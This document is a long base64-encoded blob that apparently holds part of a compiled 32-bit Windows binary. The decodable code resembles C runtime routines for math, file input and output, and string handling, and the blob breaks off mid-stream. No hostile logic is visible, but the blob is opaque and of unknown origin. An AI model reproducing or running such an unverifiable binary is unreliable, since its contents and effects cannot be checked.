4uVBP///4PECIXAi4UI////ftuLvez+//+JtfT+//+LtQD////rBo2bAAAAAIuVBP///yv6O/t2GVNXi87/FeAlBxD/1oPECIXAf+GLlQT///+LtfT+//+Jvez+//87/nJeiZXo/v//ib3k/v//O/d0M4vei9eLtej+//8r34oCjVIBikwT/4hEE/+ISv+D7gF164u19P7//4ud8P7//4uVBP///4uFCP///zvfD4X6/v//i96JnfD+///p7f7//wP6O99zMo2kJAAAAAAr+jv7diWLjQD///9TV/8V4CUHEP+VAP///4uVBP///4PECIXAdNk733Ivi7UA////K/o7vfz+//92GVNXi87/FeAlBxD/1ouVBP///4PECIXAdN2LtfT+//+LlQj///+Lx4ud/P7//4vKK84rwzvBfDk733MYi4X4/v//iZyFDP///4l8hYRAiYX4/v//i70E////O/JzTIvOi7UA////iY38/v//6Wr9//878nMYi4X4/v//ibSFDP///4lUhYRAiYX4/v//i438/v//i7UA////O89zFYvXi70E////6Sv9//+LtQD////rBou9BP///4uF+P7//4PoAYmF+P7//3gWi4yFDP///4tUhYSJjfz+///p9vz//1uLTfxfM81e6OZj/v+L5V3Di/9Vi+xRi1UUi00IVoXSdQ2FyXUNOU0MdSEzwOsuhcl0GYtFDIXAdBKF0nUEiBHr6Yt1EIX2dRnGAQDoGVv//2oWXokw6NhX//+Lxl6L5V3DUyvxi9hXi/mD+v91EYoEPogHR4TAdCWD6wF18eseigQ+iAdHhMB0CoPrAXQFg+oBdeyF0otVFHUDxgcAX4XbW3WHg/r/dQ2LRQxqUMZEAf8AWOunxgEA6Kxa//9qIuuRi/9Vi+xd6UT////MzMzMzMzMzMzMVYvsVjPAUFBQUFBQUFCLVQyNSQCKAgrAdAmDwgEPqwQk6/GLdQiL/4oGCsB0DIPGAQ+jBCRz8Y1G/4PEIF7Jw4v/VYvsagD/dQz/dQjoBQAAAIPEDF3Di/9Vi+yD7BCDfQgAdRToKVr//8cAFgAAAOjnVv//M8DrZ1aLdQyF9nUS6A1a///HABYAAADoy1b//+sFOXUIcgQzwOtD/3UQjU3w6PyF/v+LVfiDeggAdByNTv9JOU0IdwoPtgH2RBAZBHXwi8Yrw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b1g////m4qVYf///9nJ2OHZ5JvdvWD////Z4dnww9nA2fzY2Zvf4J51GtnA3A2idAcQ2cDZ/N7Zm9/gnnQNuAEAAADDuAAAAADr+LgCAAAA6/FWg+x0i/RWg+wI3Rwkg+wI3Rwkm912COjpBwAAg8QU3WYI3QaDxHRehcB0BenQAQAAw8zMzMzMzMzMzIB6DgV1EWaLnVz///+AzwKA5/6zP+sEZrs/E2aJnV7////ZrV7///+7/nQHENnliZVs////m929YP///8aFcP///wCbio1h////0OHQ+dDBisEkD9cPvsCB4QQEAACL2gPYg8MQ/yOAeg4FdRFmi51c////gM8CgOf+sz/rBGa7PxNmiZ1e////2a1e////u/50BxDZ5YmVbP///5vdvWD////GhXD///8A2cmKjWH////Z5ZvdvWD////ZyYqtYf///9Dl0P3QxYrFJA/XiuDQ4dD50MGKwSQP19Dk0OQKxA++wIHhBAQAAIvaA9iDwxD/I+jOAAAA2cnd2MPoxAAAAOv23djd2Nnuw93Y3djZ7oTtdALZ4MPd2N3Y2ejD271i////261i////9oVp////QHQIxoVw////AMPGhXD///8A3AXudAcQw9nJ271i////261i////9oVp////QHQJxoVw////AOsHxoVw////AN7Bw9u9Yv///9utYv////aFaf///0B0INnJ271i////261i////9oVp////QHQJxoVw////AOsHxoVw////Ad7Bw93Y3djbLdB0BxCAvXD///8AfwfGhXD///8BCsnD3djd2Nst5HQHEArtdALZ4ArJdAjdBfZ0BxDeycMKyXQC2eDDzMzMzMzMzMzMzMzM2cDZ/Nzh2cnZ4Nnw2ejewdn93dnDi1QkBIHiAAMAAIPKf2aJVCQG2WwkBsOpAAAIAHQGuAAAAADD3AUQdQcQuAAAAADDi0IEJQAA8H89AADwf3QD3QLDi0IEg+wKDQAA/3+JRCQGi0IEiwoPpMgLweELiUQkBIkMJNssJIPECqkAAAAAi0IEw4tEJAglAADwfz0AAPB/dAHDi0QkCMNmgTwkfwJ0A9ksJFrDZosEJGY9fwJ0HmaD4CB0FZvf4GaD4CB0DLgIAAAA6NkAAABaw9ksJFrDg+wI3RQki0QkBIPECCUAAPB/6xSD7AjdFCSLRCQEg8QIJ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